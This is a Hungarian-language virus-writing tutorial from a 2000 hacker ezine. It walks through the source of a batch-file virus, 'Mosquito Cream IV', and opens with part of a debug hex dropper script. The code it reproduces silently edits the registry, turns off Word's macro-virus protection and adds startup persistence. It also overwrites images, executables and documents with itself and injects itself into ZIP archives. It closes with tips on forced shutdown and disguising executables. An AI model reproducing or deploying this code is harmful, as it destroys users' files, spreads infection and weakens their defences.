53 E8 20 00 00 44 55 4D 4D 59 20 20>>%tmp%\bzz.z ECHO e 1B0 20 46 43 42 00 00 00 00 00 44 55 4D 4D 59 20 20>>%tmp%\bzz.z ECHO e 1C0 20 46 43 42 00 00 00 00 5B 1E 06 89 A6 02 00 57>>%tmp%\bzz.z ECHO e 1D0 56 8B F7 46 8D 3F B8 03 29 CD 21 8D 7F 10 B8 03>>%tmp%\bzz.z ECHO e 1E0 29 CD 21 5E 5F 0E 8D 57 10 52 0E 8D 17 52 0E 57>>%tmp%\bzz.z ECHO e 1F0 2E A1 2C 00 50 8B DC B8 00 4B 8B D6 CD 21 BD 20>>%tmp%\bzz.z ECHO e 200 01 2E 8B 6E 00 8C CB FA 8E D3 8B A6 02 00 FB FC>>%tmp%\bzz.z ECHO e 210 07 1F B4 4D CD 21 88 86 1E 00 5B C3 14 02 53 E8>>%tmp%\bzz.z ECHO e 220 07 00 43 4F 4D 53 50 45 43 5B BA 07 00 8B F3 FF>>%tmp%\bzz.z ECHO e 230 57 FA 5B C3 53 51 57 06 8E 86 1A 00 33 FF 8B DE>>%tmp%\bzz.z ECHO e 240 8B F3 8B CA F3 A6 74 14 32 C0 B9 FF FF F2 AE 26>>%tmp%\bzz.z ECHO e 250 80 3D 00 75 EB 8B F7 06 1F F9 EB 19 8B F7 06 1F>>%tmp%\bzz.z ECHO e 260 AC 3C 3D 75 FB 80 3C 00 74 EB AC 0A C0 72 04 3C>>%tmp%\bzz.z ECHO e 270 20 72 F7 4E F8 07 5F 59 5B C3 83 BE 10 00 FF 74>>%tmp%\bzz.z ECHO e 280 13 B4 46 8B 9E 10 00 B9 01 00 CD 21 B4 3E 8B 9E>>%tmp%\bzz.z ECHO e 290 12 00 CD 21 C3 67 01 D8 03 E8 03 84 01 2B 04 53>>%tmp%\bzz.z ECHO e 2A0 E8 32 00 00 50 41 54 48 3D 43 4F 4D 45 58 45 42>>%tmp%\bzz.z ECHO e 2B0 41 54 00 00 00 00 42 61 64 20 63 6F 6D 6D 61 6E>>%tmp%\bzz.z ECHO e 2C0 64 20 6F 72 20 66 69 6C 65 20 6E 61 6D 65 0D 0A>>%tmp%\bzz.z ECHO e 2D0 00 2F 43 20 00 5B 89 77 0F 89 7F 11 8B 96 0A 00>>%tmp%\bzz.z ECHO e 2E0 83 C2 04 C6 47 31 00 C6 07 00 8B FA 33 C9 0A 0F>>%tmp%\bzz.z ECHO e 2F0 75 73 52 56 33 D2 80 7C 01 3A 75 0D 8A 14 80 E2>>%tmp%\bzz.z ECHO e 300 DF 80 EA 40 A5 83 47 0F 02 80 3C 5C 74 1C B0 5C>>%tmp%\bzz.z ECHO e 310 AA 56 8B F7 B4 47 CD 21 5E 32 C0 B9 40 00 F2 AE>>%tmp%\bzz.z ECHO e 320 4F 80 7D FF 5C 74 03 B0 5C AA 33 C0 AC 3D 2E 2E>>%tmp%\bzz.z ECHO e 330 75 0E FD B0 5C B9 12 00 F2 AE F2 AE FC 47 EB EC>>%tmp%\bzz.z ECHO e 340 AA 8A E0 3C 5C 75 03 FE 47 31 3C 00 75 DE 4F 8B>>%tmp%\bzz.z ECHO e 350 D7 FD B9 05 00 B0 2E F2 AE FC 75 03 47 8B D7 8B>>%tmp%\bzz.z ECHO e 360 FA 5E 5A EB 25 80 7F 31 00 75 08 8B 77 0F FF 57>>%tmp%\bzz.z ECHO e 370 F6 73 08 8D 77 13 FF 57 F4 EB 7B B9 49 00 AC 3C>>%tmp%\bzz.z ECHO e 380 20 76 07 3C 2E 74 03 AA E2 F4 B0 2E AA 8D 77 06>>%tmp%\bzz.z ECHO e 390 B9 03 00 A5 A4 32 C0 AA 52 56 51 8B F2 FF 57 FA>>%tmp%\bzz.z ECHO e 3A0 59 5E 5A 73 0A 83 EF 04 E2 E9 FE 07 E9 3B FF 83>>%tmp%\bzz.z ECHO e 3B0 F9 01 75 33 8D 77 2E 83 EA 03 8B FA A5 A4 32 C0>>%tmp%\bzz.z ECHO e 3C0 B9 FC 00 F2 AE C6 45 FF 20 8B 77 11 38 4C FF 77>>%tmp%\bzz.z ECHO e 3D0 03 8A 4C FF F3 A4 C6 05 0D 8B F2 8B C7 2B C2 88>>%tmp%\bzz.z ECHO e 3E0 44 FF FF 57 F2 EB 0F 8B 7F 11 4F FE 0D 57 8B F2>>%tmp%\bzz.z ECHO e 3F0 FF 57 F8 5F FE 05 5B C3 8A 14 46 0A D2 74 06 B4>>%tmp%\bzz.z ECHO e 400 02 CD 21 EB F3 C3 14 02 53 E8 04 00 50 41 54 48>>%tmp%\bzz.z ECHO e 410 5B 52 56 1E BA 04 00 8B F3 FF 57 FA 49 E3 0B AC>>%tmp%\bzz.z ECHO e 420 0A C0 74 24 3C 3B 75 F7 EB F2 AC 3C 3B 74 07 0A>>%tmp%\bzz.z ECHO e 430 C0 74 03 AA EB F4 0E 1F 26 80 7D FF 5C 74 03 B0>>%tmp%\bzz.z ECHO e 440 5C AA F8 1F 5E 5A 5B C3 F9 EB F8 8B D7 B4 1A CD>>%tmp%\bzz.z ECHO e 450 21 8B D6 33 C9 B4 4E CD 21 72 04 83 C7 1E F8 C3>>%tmp%\bzz.z ECHO e 460 96 04 C2 06 AD 00 C4 06 C5 07 C6 08 C7 09 56 E8>>%tmp%\bzz.z ECHO e 470 7F 2D 83 C6 04 5F 8B 0E 44 D7 83 E9 04 F3 00 00>>%tmp%\bzz.z ECHO e 480 6E 75 6C 00 20 2F 43 20 52 45 4E 20 73 65 74 75>>%tmp%\bzz.z ECHO e 490 70 2E 62 6D 70 20 49 6E 73 74 61 6C 6C 2E 62 61>>%tmp%\bzz.z ECHO e 4A0 74 20 20 20 20 0D 00 49 4E 53 54 41 4C 4C 2E 62>>%tmp%\bzz.z ECHO e 4B0 61 74 00 01 0D 00 8D B6 20 00 BF 00 00 B8 22 01>>%tmp%\bzz.z ECHO e 4C0 FF D0 8D B6 25 00 B8 67 01 FF D0 B8 5A 02 FF D0>>%tmp%\bzz.z ECHO e 4D0 8D B6 47 00 8D BE 54 00 B8 7F 02 FF D0 B8 00 4C>>%tmp%\bzz.z ECHO e 4E0 CD 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>%tmp%\bzz.z ECHO e 500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>%tmp%\bzz.z ECHO rcx>>%tmp%\bzz.z ECHO 410>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO w>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO q>>%tmp%\bzz.z debug < %tmp%\bzz.z>nul goto :BuZZ Egyszerűen gyönyörű! (De azért közel sem olyan élvezetes, mint egy orgazmus... ;) ) Minden gratula StRaMoNiUm-nak. No, ezzel most el leszünk egy darabig. Messze vagyunk még attól, hogy sorról sorra elemzzük, előbb némi alapozást kéne megejteni (habár ezt a vírus alapján fogjuk csinyálni), és csak úgy előzetesben megjegyzem, hogy még EBBEN a tutorialban szó lesz TROJAN, azaz trójai BAT vírusokról is, és akkor asszem ki is végeztük a BAT vírusokat. Vagyis tök profik leszünk, (már egy jó középhaladó szinten vagyunk) a végére. És akkor a következő ezine-ben asszem áttérünk a makróvírusokra, de lehet, hogy kitalálok valamit a batokhoz. (Bár én úgy gondolom, hogy ennyi elég lessz hozzájuk. Ti nem?) Na, e kis pihentető rizsa után ugorjunk neki. Elég érdekes dolgokat találhatunk ebben a nem túl kicsi BAT vírusban. (8K) Először is: Amit az előbb láttatok az egy BAT/BMP/ZIP fertőző vírus! Igen BMP és ZIP! (Ennek ugyan nem sok értekme van, mert BMP-ből meg ZIP-ből ugye nem lehet továbbfertőzni, de végül is remek ötlet.) Először is legjobb, ha tisztázzuk, hogy a bináris kód ezúttal nem egy futtatható állomány, hanem egy ZIP fájl, melybe egy BMP van csomagolva. A BMP header-t remélem nem kell magyarázni (BM« .. stb. Sem a ZIP-et...). Rögtön az elején a vírus létrehoz egy regisztrációs adatbázishoz hozzácsatolható (a regedit segítségével) fájlt, amibe beleírogatja a már ismert módon a csatolni kívánt adatokat, pl.: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]. Ehhez azért nem árt ismerni a windóz registry felépítését (regisztrációs adatbázis), erre most külön nagyon nem térnék ki, mert a vírus is csak néhányat használ a csomó nem dokumentált bejegyzés közül. A dokumentáltakat meg nem kell még nekem is ecsetelni. Nézzetek rá erre a sorra: ECHO "RegisteredOrganization"="By StRaMoNiUmę">>%windir%\BZz.reg Ugyebár az elejét és a legvégét megbeszéltük, az is világos, hogy miként épülnek fel az általában (tört játékok mellett is szokott lenni) .reg fájlok. De nézzünk meg valami mást is: %WINDIR% Sajnos, vagy sem (ezt döntse el mindenki maga) van egy (több is) új környezeti változónk MSDOS 7.0 és a fölött. A DOS-os időkben ilyen környezeti változó volt pl.: a PATH, vagy a TEMP. A %WINDIR% pedig egyszerűen azt a könyvtárat adja meg, ahova a vindóz telepítve van. Pl a következő két sor tök ugyanazt jelenti a BAT végrehajtásakor: DEL C:\WINDOWS\WIN.COM DEL %WINDIR%\WIN.COM Miért jobb mégis a 2. megoldást alkalmazni. Nos, ha a windos mondjuk nem a C:\WINDOWS-ban, hanem a C:\SZAR könyvtárban van, az első esetben a win.com nem, a másodikban viszont már törlésre kerül. Vagyis sokkal nagyobb a progi mobilitása. Nézzük a következő sort: ECHO REGEDIT4>%windir%\BZz.reg Ez ugye létrehoz egy kimeneti fájlt Bzz.reg néven, amely a REGEDIT4 szöveget tartalmazza. (Ez hozzátartozik a .reg fájlok formátumához.) ECHO.>>%windir%\BZz.reg Még egyszer elmondom, de többször nem. A BZz.reg-hez, amely ugye a windows installálási könyvtárában van, hozzáad egy üres sort. (Emlékezz! ECHO. - üres sor a képernyőn!) ECHO [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]>>%windir%\BZz.reg Ua. Megbeszéltük. ECHO "RegisteredOwner"="MOžQUITO CREAM IV">>%windir%\BZz.reg Ezen sor, pontosabban a .reg fájlba kiírt bejegyzés (félreértés ne essék, nem a registrybe írunk, hanem még csak egy reg fájlt hozunk létre, amelyet maj a registryhez a regedit segítségével adunk hozzá.) megváltoztatja a felhasználó nevét. ECHO "RegisteredOrganization"="By StRaMoNiUmę">>%windir%\BZz.reg Ez a sor, pont úgy működik mint az előző, de a felhasználó cég nevét változtatja meg. ECHO [HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options]>>%windir%\BZz.reg ECHO "EnableMacroVirusProtection"="0">>%windir%\BZz.reg Végül, segítsünk makrovírusíró haverjainknak, beleturkálunk az Office2000, pontosabban a Word8.0 beállításaiba. Kikapcsoljuk a makróvédelmet, vagyis 0 (hamis) értékűre állítjuk. A windows registry-t érdemes nagyon alaposan tanulmányozni, mert potenciális betörési forrás, lásd billentyűlopók! Ennek hatására tehát a word nem küld többé makrókra figyelmeztető üzenetet. FIGYELEM!! A következő sor egy nagyon fontos dolgot tartalmaz: @REGEDIT /S /C %windir%\BZz.reg Itt hívjuk meg ugyanis a regedit nevű progit, ami befejezi amit mi elkezdtünk, amit megmondtunk neki, azokat a dolgokat módosítani fogja a win registry-ben. (Hacsak nem NT-n vagyunk, és az aktuális felhasználónak nincsen hozzá joga, mert akkor bizony ez nem fog sikerülni.) Csak úgy mellékesen jegyzem meg, hogy érdemes megfigyelni a paramétersort is, ugyanis egy NEM DOKUMENTÁLT paramétert használunk. (/s) Miért? REGEDIT /S file.reg Nos ez a /S egyszerűen arra jó, hogy A FELHASZNÁLÓTÓL NEMKÉR A REGEDIT BELEEGYEZÉST, egyáltalán a felhasználó TUDTA nélkül, a háttérben, DOS-ablak nyitása, vagy bármilyen képernyőre írás nélkül ELVÉGZI A REGISTRY BEJEGYZÉSEK JAVÍTÁSÁT. (No ennyit Bill Gates-ről. Ez a vindóz maga egy időzített bomba az ember gépén. akkor, úgy, és olyan dolgokat csinál, hogy csak nézünk.) BILL SUX!!!!!!!! egyébként ezt az aranyos /s (s mint silent=csendes) funkciót akkor is jól lehet használni, ha a "RunServices" kulcs alá beteszel valamit. (Ekkor a progi a windows-al együtt, auto elindul.) Most nézzünk néhány egyéb funkcióját a regedit-nek, mert ki tudja, még jól jöhet: (Ezek egyébként jól dokumentált funkciók) REGEDIT /C file.reg A file.reg-ben található bejegyzések hozzáadódnak a registryhez, ha előzőleg már léteztek, felülírják a régit. Ua. Mint a /s, csak magyaráz is... REGEDIT /L:<path system.dat> A system.dat helyét adja meg. Ez mondjuk arra jó, hogy az otthoni gépeden turkálhatod, nézegetheted a haverod registry-jét. REGEDIT /R:<path user.dat> Ua, csak USER.DAT-al. REGEDIT /E file.reg Kulcsnév Exportál, azaz kimásol, kivisz dologkat a registryből. jelen esetben a Kulcsnév nevű kulcsot és annak ÖSSZES alkulcsát értékkel együtt kiteszi a file.reg-be. Ha Kulcsnévnek nem adunk meg semmit, akkor az egész registry-t átpakolja. (Csináljátok meg, mert a system.dat, user.dat, meg a többi dat binárisan és tömörített formában tartalmazza a bejegyzéseket.) REGEDIT /D Kulcsnév Ua. mint előzőleg, csak törléssel. (Kulcsnév nélkül az egész hóbelevancot törli... :) ) Most nézzünk egy kombinált példát: Pl.: REGEDIT /L:<Path system.dat> /R:<Path user.dat> /D file.reg A haverod system.dat-jából és user.dat-jából törli azokat a bejegyzéseket, melyek benne vannak a file.reg fájlban. Szerintem ennyi bőven elég is a registryről, pedig mennyit lehetne még róla mesélni... Lássuk inkább a következő blokkot: @attrib %windir%\*.* -h -r -s @attrib %windir%\Desktop\*.* -h -r -s @attrib %windir%\web\*.* -h -r -s @attrib C:\Docume~1\*.* -h -r -s Az attrib utasítást vettük, hogy a "@" jel az elején mit jelent, azt pedig mindenki olvassa el ezen 2.rész legelején, a táblázatban... Szóval röviden:A következő alkönyvtárakban minden file módosíthatóvá válik (akár rejtett, akár írásvédett VOLT): c:\WINDOWS, C:\WINDOWS\DESKTOP, C:\WINDOWS\WEB\, C:\DOCUMENTS (Mondjuk szerintem itt is a %windir% változót kellett volna használni, ha már eddig is azt tettük...) Következő: for %%i in (%windir%\*.bmp,*.gif,*.jpg,*.bat) do copy %0 %%i>nul for %%i in (%windir%\*.gif,*.jpg) do ren %%i *.bmp>nul Itt már nem ereszteném annyira bő lére, szerintem tök egyértelmű: Felülír minden BMP,GIF,JPG, BAT fájlt magával a vírussal a windows telepítési könyvtárában, majd minden GIF és JPG kiterjesztésűt BMP-re átnevez. Néhány szót azér mégis ejtek a %0-ról, hátha elfelejtettétek: %0 Ez az ID-je, azonosítója az éppen aktuális fájlnak, amiben vagyunk. Pl.: VMI.BAT-ban: ren %0 TEST.TXT Aztat jelenti, hogy a vmi.bat átnevezi magát TEST.TXT-vé. És ammeg mér jó, hogy a bmp-ket is felülírtuk. Nos, ami ebben a html kódban van, az nem a teljes vírus, mert az eredeti tartalmaz még egy BM (BitMap) header-t is. Bat futásakor ez nincs figyelembe véve, de ha a varust átnevezzük BMP-re, akkor egy nézhető BMP-t kapunk. (Ekkor meg a víruskód, a BAT kódja lesz figyelmen kívül hagyva, mert a BMP fejlécben megadott szegmensen kívül esik.) for %%i in (%windir%\Desktop\*.bmp,*.gif,*.jpg,*.bat,*.exe) do copy %0 %%i>nul for %%i in (%windir%\Desktop\*.gif,*.jpg) do ren %%i *.bmp>nul for %%i in (%windir%\WEB\*.bmp,*.gif,*.jpg,*.bat) do copy %0 %%i>nul for %%i in (%windir%\WEB\*.gif,*.jpg) do ren %%i *.bmp>nul for %%i in (C:\Docume~1\*.bmp,*.gif,*.jpg,*.bat,*.exe) do copy %0 %%i>nul for %%i in (C:\Docume~1\*.gif,*.jpg) do ren %%i *.bmp>nul Ua. mint előzőleg, csak most az EXE-ket is felülírjuk a legkülönfélébb könyvtárakban. (Nevezz át egy BMP-ot EXE-re, és indítsd el, majd csodálkozz!) echo MOSQUITO CREAM IV >x echo. >>x echo \\ >>x echo OooO@- >>x echo // >>x echo. >>x echo # ITALIAN PRODUCTION 1999 # By StRaMoNiUm>>x @move x %tmp%\x Ez a blokk elkészíti az x. nevű fájlt, egy apró ASCII grafikát téve bele, majd az egészet a windows TEMP folderbe helyezi át. %TMP% No comment. C:\WINDOWS\TEMP @if exist *.zip goto :BZzip @if not exist *.zip goto :BZskip Most, hogy már BMP-t is fertőztünk, ideje egy kis ZIP munkába kezdeni.Ha találtunk ZIp fájlt, akkor ugrunk a BZzip címkére. GOTO :LABEL No comment, vettük, méghozzá részletesen. :BZzip ECHO n BZ.Z>%tmp%\bzz.z ECHO e 100 4D 5A E2 01 02 00 00 00 02 00 C3 0F FF FF F0 FF>>%tmp%\bzz.z ECHO e 110 FE FF 00 .. .. . és így tovább.... ECHO rcx>>%tmp%\bzz.z ECHO 410>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO w>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO.>>%tmp%\bzz.z ECHO q>>%tmp%\bzz.z Ideugrottunk a Bzzip címkéhez, és eztete találtuk itt ni. Szerencsére megtanultuk az előző viriiben a debug alkalmazását, és azt is, hogy mit és mijér csinyál. Egyszerűen debug híváson keresztűl egy EXE-t készítünk ebből a Hexa formátumú szarból. Ja. Míg el nem felejtem. Létezik két aranyos progi, és amint megtalálom,beteszem az ezine-be is. vagy maj csatolom a 3. résznél. Olyan mindegy. Szóval az egyik a BAT2COM, mely BÁRMILYEN BAT állományt COM-á konvertál. Ez nem éppen egyszerű feladat, de megoldható. Tök ua elven működik mint a compilerek többsége... Illetve a COM2EXE. Ez gondolom érthető. Persze a COM -> EXE konvertálást egyszerű átnevezéssel is megadhatjuk, az már édesmindegy. Azonban az EXE2COM már nem ilyen egyszerű. De ügyes emberek erre is kitaláltak megoldást. Egyébként a lefordított EXE nem más mint a vírus maga, csak COM-ban. (a BAT2COM segítségével lett lefordítva). goto :BuZZ A BuZZ címkén pedig a következőket találjuk: :BuZZ @move Bz.Z %tmp%\Setup.exe>nul @copy %0 %tmp%\Setup.BMP>nul @if exist Pkzip.exe goto :Bzext @if not exist Pkzip.exe goto :BzrZ Tehát. áthelyezzük (és útközben át is nevezzük) az elkészült Bz.z-t a C:\WINDOWS\TEMP\ könyvtárban Setup.exe-re, majd átmásoljuk magát a vírust, az aktuális fájlt (%0), a C:\WINDOWS\TEMP\ (%TMP%) -be, de mint setup.bmp fájl. Sőt, ha a PKZIP.EXE megtalálható az aktuális alkönyvtárban, akkor a következőt is megcsinyalja: for %%i in (*.zip ../*.zip) DO pkzip -e0 -u -r -k %%i %tmp%\Setup.exe>nul for %%i in (*.zip ../*.zip) DO pkzip -e0 -u -r -k %%i %tmp%\Setup.BMP>nul vagyis: az aktuális alkönyvtár minden egyes ZIP fájlját a -u kapcsolóval update-eli, vagyis frissíti, hozzájuk csapva a %TMP%-ben megtalálható setup.exe és .bat fájlokkal. Hogy ez ne tartson túlságosan sok ideig, a fájlokat nem tömöríti, csak hozzáfűzi (-e0). És persze, hogy a dátum se változzon, használja a -k kapcsolót is. :BzrZ for %%i in (*.zip ..\*.zip) do start /m winzip32 -a /%%i "%tmp%\Setup.exe" "%tmp%\Setup.BMP">nul goto :Bzskip Ez itt felül csak egy "biztonsági" intézkedés arra az esetre, ha netalán nem lenne PKZIP-je valakinek, de winzip-et használ, akkor nehogymá ő is kimaradjon... Félreértés ne essék, a winzip grafikus felülete meg sem nyikkan... Nézzünk csak rá a paraméterekre.(Kérje le mindenki a winzip32 /h-t) Mondjuk a paraméterek még érthető, de a sor elég érdekesen néz ki: -> /%%i <-. No ez mi? Ha nem írjuk be, akkor a winzip ablaka szépen megjelenik, illetve dos-üzemmódban ír a képernyőre. Még akkor is, ha használjuk a START parancsot. Asszem erről is volt szó legutóbb, úgyhogy csak röviden. START Ezen parancs segítségével egy progit futtathatunk. /m[inimized] A háttérben futtat. /max[imized] Az előtérben futtat. /r[estored] Alapbeállítás. fogjuk és futtatjuk a progit annak a beállításaival. /w[ait] Várakozás az előző futó alkalmazás befejezésére. ha befejezte amaz, elindul emez. ezt sokmindenre ki lehet használni. :BZskip for %%i in (*.bmp,*.jpg,*.gif,*.tga,*.psd,*.tif,*.wmf,*.bat ..\*.bat,*.bmp) do copy %0 %%i>nul for %%i in (*.jpg,*.gif,*.tga,*.psd,*.tif,*.wmf) do ren %%i *.bmp>nul for %%i in (s*.exe,a*.exe,b*.exe,o*.exe,i*.exe,_*.exe) do copy %0 %%i>nul for %%i in (*.txt,*.doc,*.rtf ..\*.txt,*.doc,*.rtf) do copy %tmp%\x %%i>nul cd.. Asszem érthető... Semmi új. A cd..-vel egy felsőbb (parent) könyvtárba lépünk, és ott is elvégezzük a "dolgunk" annyi változatatással, hogy a TXT,DOC és RTF fájlokhoz az ASCII-s rajzunkat hozzácsapjuk. ha itt van ZIP fájl, akkor nosza, még egyszer zipelünk... :BZskip2 @REGEDIT /E %windir%\BZs.reg HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run choice /c:abcdefghilmnop@q#rstuvw!\'?%xyjkz.;,-_1234567890 /N /T:A,2>nul Hah... Ez itt egy jó dolog. A batch létrehoz (felülír) két windows registry bejegyzést, amellyel eléri, hogy bootoláskor ő is elinduljon. We can found, firstly the command REGEDIT /E, to save ALL the specified key Azonban a régi bejegyzéseket is megtartjuk, a /E kapcsoló segítségével kiírjuk őket a BZs.reg fileba. Majd jön a CHOICE utasítás: Itt a CHOICE egy érdekes feladatot kap, ugyanis itt várakoztatásra használják. Erre azért van szükség, mert túl gyors processzor esetén a hozzáfűzési procedurát "átugorhatják". (kiírják a cache-be, és nem kerül konkrétan lemezre.) A CHOICE működését is megnéztük, még legutóbb... (Úgy emléxem) ECHO "0A StRaMoNiUm"="c:\\command /C ren C:\\Mosquito.bmp Mosquito.bat|CLS">>%windir%\BZs.reg ECHO "1A Dark_Elf"="start /m C:\\Mosquito.bat">>%windir%\BZs.reg echo. echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj>nul echo. echo ciyjouigydujujhgfkjbkjhgdkjhgjhjugkjghkdjhykugrhtiug>nul choice /c:abcdefghilmnop@q#rstuvw!\'?%xyjkz.;,-_1234567890 /N /T:A,1>nul echo. @regedit /S /C %windir%\BZs.reg Az ECHO segítségével néhány új kulcsot is hozzáadunk a .reg fájlhoz. ("0A StRaMoNiUm"="c:\\command /C ren C:\\Mosquito.bmp Mosquito.bat|CLS) Átnevezzük a BMP-nlet bat-ra, maj töröljük a képernyőt. ("1A Dark_Elf"="start /m C:\\Mosquito.bat") futtatja a vírust a háttérben A sok echo és echo. megint a processzoridő kitöltésére szolgál... Ezután a .reg fájlukat hozzáadjuk a windózéhoz. A COMMAND használatát is megbeszéltük. @cls @type %tmp%\x Képernyőtörlés, a type segítségével megjelenítjük az ASCII képünket. for %%i in (%tmp%\*.*) do DEL %%i>nul @copy %0 c:\MOSQUITO.BMP>nul @copy %0 %windir%\DVC.EXE>nul Ez már tényleg csak időhúzás. Újabb másolatok. ECHO @Echo off>%windir%\WIN.BAT ECHO @if exist c:\Mosquito.BMP goto :BZ>>%windir%\WIN.BAT ECHO @if not exist c:\Mosquito.bat goto :BZXT ECHO :BZXT>>%windir%\WIN.BAT ECHO @ren DVC.EXE BZz.bat>>%windir%\WIN.BAT ECHO @copy BZz.bat DVC.EXE>>%windir%\WIN.BAT ECHO @start /m BZz.bat>>%windir%\WIN.BAT ECHO :BZ>>%windir%\WIN.BAT ECHO CLS>>%windir%\WIN.BAT Most egy win.bat-ot készítünk a vírusról. Ez arra jó, hogy 3.1-es rendszerben, ahol nincs regisztrációs adatbázis, a vírust elindítjuk még a windos előtt. Az MSDOS-ról meg kell még jegyezni, hogy ha van egy win.bat, win.com és egy win.exe fájl egy alkönyvtárban először a bat, maj a com, és legvégül az exe indul el. És ez azér szerencsés, mer mikor a windóz elindul a rendszer a fájlt nem mint win.com, hanem kiterjesztés nélkül, csak mint win hívja meg. A Win.bat megnézi, hogy létezik e a mosquito.bat fájl, és ha igen, akkor nem csinál semmit, kilép. Ha nem, akkor elindul a vírus a háttérben.T Most nézzünk egy kis érdekességet, néhány tippet: RUNDLL USER,#7 0 5 A fenti parancs azonnali leállásra készteti a vindózt, mindenféle kérdés nélkül. (Rendkívül vicces poén.) Kisebb exe fájlokat assembler, illetve a Winzip Self-Extractor, sőt, legjobb megoldásként az upx használatával érhetsz el. Ha egy EXE-t átnevezel SCR formára (ami a képernyővédők kiterjesztése), akkor a programnak (unsuspected) rossz kiterjesztése lessz, de kattintással, meghívással futtatható normális EXE-ként, sőt, ha ez a fájl eredetileg winzip önkicsomagoló EXE volt, akkor a jobb egérgomb hatására nem jön elő az "OPEN WITH WINZIP" üzenet, hanem helyette az "INSTALL" vagy "TRY". (Legalábbis angol windosban.) Ennyi volt, remélem mostanra már mindenki majnem profi... :) Kérés kérdés, panasz, óhaj, sóhaj, a sajátkészítésű virii-k, vagy ha csak úgy érzitek, meg bármi miatt írjatok a postámba. Készítette : Black Cat

©2000. Fearless Criminal Force.